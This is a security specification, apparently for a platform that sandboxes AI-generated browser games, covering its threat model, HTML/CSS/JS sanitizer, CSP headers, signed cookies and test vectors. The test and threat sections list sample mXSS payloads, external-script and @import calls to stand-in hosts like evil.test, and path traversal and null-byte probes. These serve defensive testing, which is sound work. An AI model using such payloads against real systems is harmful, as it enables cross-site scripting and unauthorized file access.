Sandbox Isolation & Linear-Time O(N) Sanitizer — Formal Security Specification
Document ID: YPG-SEC-005 | Index: docs/README.md
Security Classification: Defense-in-Depth Untrusted AI Code Containment & Cryptographic Session Integrity
Primary Modules: src/services/gameSanitizer.mjs, src/routes/runtimeRouter.mjs, src/app.mjs, src/middleware/sessionMiddleware.mjs
1. Threat Model & Defense-in-Depth Architecture
Executing AI-synthesized HTML5, CSS, WebGL shader, and JavaScript payloads inside a user's web browser or mobile WebView introduces five high-severity threat vectors if left unguarded:
- T1 — Cross-Site Scripting (XSS) & Parent Session Theft: Malicious or hallucinated game scripts attempting to read
window.parent.document, stealypg_sid/ypg_vidcookies, or mutate studio UI DOM. - T2 — Unauthorized External Network Exfiltration & Tracking: Generated HTML/CSS/JS attempting to ping third-party servers via
fetch(),XMLHttpRequest,WebSocket,EventSource,navigator.sendBeacon(),WebRTC,<script src="https://...">, CSS@import/url(...), SVG<feImage>/<use>, or<meta http-equiv="refresh">. - T3 — Regular Expression Denial of Service (ReDoS): Crafted pathological HTML attributes, deeply nested CSS
image-set()calls, unclosed JS regex literals, or multi-kilobytedata:image/svg+xmlpayloads stalling the Node.js event loop viaO(2^N)orO(N^2)backtracking. - T4 — Parser-Differential Mutation XSS (mXSS): Exploiting discrepancies between naive HTML strippers and the browser's actual WHATWG HTML5 §13.2.5 / SVG foreign-content / RCDATA / script double-escaped state machines (
<!--<script>...</script>-->). - T5 — Path Traversal, Symlink Escape & Cookie Forgery: Crafting
/runtime/../../storage/users.jsonrequests, Windows device-name attacks (CON,NUL), or forged session/ad-grant HMAC signatures.
YourPlayground.games neutralizes T1–T5 across five independent concentric security rings:
flowchart TB
Raw["Untrusted LLM Output (Raw Text/HTML)"] --> Ring1["Ring 1: Server-Side O(N) Structural Sanitizer<br/>(WHATWG HTML5 + Foreign SVG/MathML + CSS3 + ECMA-262 Lexer)"]
Ring1 --> Ring2["Ring 2: Pre-Execution V8 Syntax Verification<br/>(node:vm new vm.Script() on every executable <script> & inline handler)"]
Ring2 --> Ring3["Ring 3: Client-Side Runtime SDK Perimeter Shims<br/>(YPG_SDK_SCRIPT_TAG overrides fetch, XHR, WS, Worker, DOM URL setters)"]
Ring3 --> Ring4["Ring 4: HTTP Runtime Isolation Headers<br/>(RUNTIME_CSP_HEADER, X-Robots-Tag: noindex, realpath containment)"]
Ring4 --> Ring5["Ring 5: Browser Process / Null-Origin OOPIF Sandbox<br/>(<iframe sandbox='allow-scripts allow-pointer-lock'> · origin === 'null')"]
2. Linear-Time O(N) Sanitizer Architecture (src/services/gameSanitizer.mjs)
Spanning 10,399 lines of zero-dependency, spec-compliant state machines (346,169 bytes), gameSanitizer.mjs processes any input document of length N in strict Θ(N) time and O(N) memory without invoking any external DOM library or backtracking regex.
2.1 Twelve-Stage Single-Pass Sanitization Pipeline
| Stage | Subsystem | Formal Standard | Security Transformation |
|---|---|---|---|
| 01 | extractHtmlDocument() | HTML5 Document Envelope | Extracts exact <!DOCTYPE html>...</html> (or <html>...</html>) span from markdown code fences; rejects incomplete envelopes immediately. |
| 02 | parseHtmlTokenAt() + createForeignTracker() | WHATWG HTML5 §13.2.5 & §13.2.6 | Tokenizes tags, attributes, comments, boguses, and CDATA while tracking HTML vs. SVG/MathML foreign namespace entry/exit points (foreignObject, desc, title, annotation-xml). Strips 100% of HTML comments. |
| 03 | Forbidden Tag Elimination | HTML5 Subdocument & Plugin Sinks | Strips forbidden RAWTEXT/void/container elements (iframe, frame, frameset, fencedframe, object, embed, applet, portal, base, noscript, xmp, noembed, noframes). Strips foreign <script> inside <svg>/<math>. |
| 04 | <meta> & <link> Scrubbing | HTML5 Metadata & Resource Hints | Drops <meta http-equiv> (except safe content-type / x-ua-compatible), external <meta content>, and disallowed <link rel> (dns-prefetch, preconnect, prefetch, prerender, modulepreload, serviceworker, manifest, pingback, import). |
| 05 | RCDATA Canonicalization | HTML5 RCDATA (<title>, <textarea>) | Scans to exact closing tag via findClosingRawOrRcdataTag and escapes < / > inside body so <!-- comment smuggling cannot desynchronize downstream parsers. |
| 06 | sanitizeCssExternalUrls() | W3C CSS Syntax Module Level 3 | Zero-recursion O(N) CSS3 tokenizer scrubbing external url(...), src(...), <bad-url-token>, image-set(...), and @import rules across <style>, foreign <svg><style>, inline style="", and SVG SMIL from/to/by/values. |
| 07 | findClosingScriptTag() | WHATWG HTML5 §13.2.5.19–36 | Exact 7-state DFA (DATA \leftrightarrow ESCAPED \leftrightarrow DOUBLE_ESCAPED) locating the true browser </script> boundary; drops unclosed <script> blocks and <script type="importmap">. |
| 08 | Vendor CDN Rewrite | Same-Origin Engine Whitelist | Rewrites external Phaser (cdn.jsdelivr.net/npm/phaser..., cdnjs...) and Three.js (unpkg.com/three...) <script src> tags to local /vendor/phaser.min.js and /vendor/three.min.js; strips all other external scripts. |
| 09 | healInlineModuleCode() | ECMA-262 Module-to-Classic Healing | Converts import * as THREE from 'three' / import Phaser from 'phaser' inside <script type="module"> into classic global bindings against window.THREE / window.Phaser, removes type="module", and flags required local vendor script injection. |
| 10 | sanitizeInlineJsUrls() | ECMA-262 String & Template Lexer | Bitmask-memoized JS lexer neutralizing external http(s)://, ws(s)://, and // string/template literals inside inline JavaScript while preserving W3C XML/SVG namespace URIs (http://www.w3.org/2000/svg). |
| 11 | sanitizeCommonAndElementAttrs() | HTML5 & SVG Attribute Policy | Deduplicates attributes per HTML5 first-wins rule; replaces disallowed <img src> / <image href> / <feImage href> with TRANSPARENT_PIXEL_DATA_URI; restricts <use href> strictly to #fragment; rewrites unsafe <a href> to '#'. |
| 12 | SDK Injection & validateInlineScripts() | Node.js node:vm V8 Compiler | Injects <script id="ypg-sdk"> + required /vendor/*.min.js at top of <head>, then compiles every executable inline <script> via new vm.Script(code)—returning exact syntax diagnostics if invalid so gemini-4-carbon repairs it before storage. |
2.2 Formal Complexity Bound Summary
| Sanitizer Component | Input Size Parameter | Worst-Case Time Complexity | Auxiliary Space | Backtracking / Recursion |
|---|---|---|---|---|
| HTML5 & Foreign Tokenizer | Document length N | Θ(N) | O(D_foreign + N) | Zero backtracking; iterative foreign stack |
7-State <script> Boundary Scanner | Script span M ≤ N | Θ(M) (memoized in scanCtx) | O(1) | Deterministic 7-state DFA |
CSS3 url() / @import / image-set() | Stylesheet length C ≤ N | Θ(C) | O(P_paren) | Zero recursion (parenStack + inImportPreludeUntil) |
| ECMA-262 Lexer & RegExp Lookahead | Script length M ≤ N | Θ(M) (≤ 2M regex probe steps) | O(M) (Uint8Array 2-bit memo) | Bitmask memoization eliminates O(M^2) |
Embedded data:image/svg+xml Validator | Payload length S | O(S) for depth d ≤ 3 | O(S) | Hard depth bound d_\max = 3 |
End-to-End sanitizeGameHtml() | Total input bytes N | Θ(N) | O(N) | 100% immune to O(2^N) ReDoS |
3. Allowed vs. Blocked Subresources & Client Runtime Perimeter
Even if synthesized JavaScript attempts to construct an external URL dynamically at runtime (e.g., fetch('https://' + 'evil.example') or const s = document.createElement('script'); s.src = ...), YPG_SDK_SCRIPT_TAG executes synchronously as the very first <script> inside <head> and installs client-side perimeter shims alongside the browser's RUNTIME_CSP_HEADER:
| Resource / API Sink | Allowed Targets | Action on Disallowed / External Target |
|---|---|---|
<script src> | /vendor/phaser.min.js, /vendor/three.min.js | Stripped server-side; blocked dynamically by YPG_SDK_SCRIPT_TAG & RUNTIME_CSP_HEADER |
<img>, <audio>, CSS url() | ./assets/*, /runtime/*, /vendor/*, /brand/*, /creatives/*, validated data:image/*, data:audio/*, blob:null/* | Replaced with TRANSPARENT_PIXEL_DATA_URI (1x1 PNG), SILENT_AUDIO_DATA_URI, or CSS none |
<svg><use href> | In-document #fragment IDs only | Stripped (null-origin iframes cannot cross-origin-reference external SVG sprites) |
fetch() / XMLHttpRequest | Same-origin allowed asset paths (/runtime/*, /vendor/*, ./assets/*, safe data:/blob:) | Short-circuited cleanly in-sandbox without throwing uncaught network exceptions or leaking packets |
WebSocket / EventSource / RTCPeerConnection / sendBeacon | None (100% offline single-player sandbox) | Neutralized by SDK shim + blocked by RUNTIME_CSP_HEADER (default-src 'self' 'unsafe-inline' data: blob:) |
Worker / SharedWorker | blob:null/* or whitelisted local vendor script | Returns inert no-op worker stub on external URLs |
window.localStorage / sessionStorage | Ephemeral per-load ES Map shim | Prevents SecurityError crash inside null-origin iframe while isolating storage from parent origin |
4. Dual Content-Security-Policy (CSP) & Origin Isolation Matrix
src/app.mjs and src/routes/runtimeRouter.mjs enforce two strictly separated CSP profiles so parent studio analytics/AdSense capabilities never weaken the game execution sandbox:
| HTTP Security Header | Parent Studio & SSR Pages (/* except /runtime/*) | Isolated Game Sandbox (/runtime/:slug/*) |
|---|---|---|
Content-Security-Policy | default-src 'self'; script-src 'self' 'unsafe-inline' https://www.googletagmanager.com https://www.google-analytics.com https://pagead2.googlesyndication.com https://www.clarity.ms; style-src 'self' 'unsafe-inline'; img-src 'self' data: blob: https:; font-src 'self' data:; media-src 'self' data: blob:; frame-src 'self' https://googleads.g.doubleclick.net https://tpc.googlesyndication.com https://www.googletagmanager.com; worker-src 'self' blob:; connect-src 'self' https://www.google-analytics.com https://region1.google-analytics.com https://analytics.google.com https://stats.g.doubleclick.net https://www.googletagmanager.com https://pagead2.googlesyndication.com https://www.clarity.ms https://*.clarity.ms; manifest-src 'self'; object-src 'none'; base-uri 'self'; frame-ancestors 'self' | default-src 'self' 'unsafe-inline' data: blob:; img-src 'self' data: blob:; media-src 'self' data: blob: (Zero external https: origins permitted in default-src, script-src, connect-src, or img-src!) |
X-Frame-Options | SAMEORIGIN (prevents clickjacking of studio/auth UI) | Omitted on /runtime/* so <iframe sandbox="allow-scripts allow-pointer-lock"> embeds cleanly |
X-Content-Type-Options | nosniff | nosniff |
X-Robots-Tag | Indexed via SSR <meta name="robots"> (index, follow) | noindex (prevents raw iframe URLs from competing with canonical /games/:slug pages) |
Cross-Origin-Resource-Policy | Default same-origin | cross-origin + Access-Control-Allow-Origin: * (allows null-origin OOPIF to load its own /runtime/:slug/assets/*) |
Iframe sandbox Attribute | N/A (Top-level window) | sandbox="allow-scripts allow-pointer-lock" (no allow-same-origin, no allow-top-navigation, no allow-popups, no allow-forms) |
5. Cryptographic Cookie & Token Signing (HMAC-SHA256)
All stateful tokens across src/middleware/sessionMiddleware.mjs, src/services/authService.mjs, and src/services/adGateService.mjs use constant-time HMAC-SHA256 verification (crypto.timingSafeEqual after explicit UTF-8 byte-length equality check) to prevent timing side-channel attacks:
| Token / Cookie | Format | Secret Key | TTL | Security Attributes & Anti-Tamper Controls |
|---|---|---|---|---|
ypg_vid (Visitor Cookie) | vis_<32-hex>.<base64url-hmac> | SESSION_SECRET | 30 days (2,592,000 s) | HttpOnly; SameSite=Lax; Path=/; validated against /^vis_[a-f0-9]{24,64}$/ after HMAC check. |
ypg_sid (Auth Session Cookie) | ses_<48-hex>.<base64url-hmac> | SESSION_SECRET | 7 days (604,800 s) | HttpOnly; SameSite=Lax; Path=/; invalid/expired signatures immediately emit Max-Age=0 clear header. |
ypg_oauth_state (CSRF State) | <base64url-json>.<base64url-hmac> | SESSION_SECRET | 10 min (600 s) | Double-submit cookie + signed nonce + sanitizeReturnTo() open-redirect guard (blocks //, /\, /auth/*). |
adGrantToken (Ad Unlock Grant) | <base64url-json>.<base64url-hmac> | AD_HMAC_SECRET | 5 min (300 s) | Bound to { jti, sid, act, vid, uid, est, iat, exp }; single-use server-memory consumed bit prevents replay. |
6. Adversarial Verification & Fuzzing Benchmarks
The unit, integration, and opaque-box E2E test suites (tests/unit/m1-foundation.test.mjs, tests/unit/backend-services.test.mjs, tests/e2e/tier2-boundary-negative.test.mjs) continuously benchmark gameSanitizer.mjs and runtimeRouter.mjs against adversarial vectors:
- ReDoS Pathological Input Timing Gate:
100 KB+payloads of repeated unclosed<script><!--, nestedurl(url(url(, thousands of/division/regex ambiguities, and malformedsrcsetattributes complete sanitization in< 25 ms(linear scaling verified empirically). - HTML5 / Foreign mXSS Escape Vectors: Verified complete neutralization of
<svg><script>alert(1)</script></svg>,<svg><style><![CDATA[ @import "https://evil.test"; ]]></style></svg>,<math><mtext><iframe src="https://evil.test">,<title><!--</title><script src="https://evil.test"></script>, and SVG SMIL<animate attributeName="href" values="javascript:alert(1)">. - Filesystem Traversal & Null-Byte Injection: Verified HTTP
400/404rejection on/runtime/neon-orbit-defender/..%2f..%2fcatalog.json,/runtime/con/index.html,/runtime/neon-orbit-defender/index.html%00.png, and symlink-escape probes.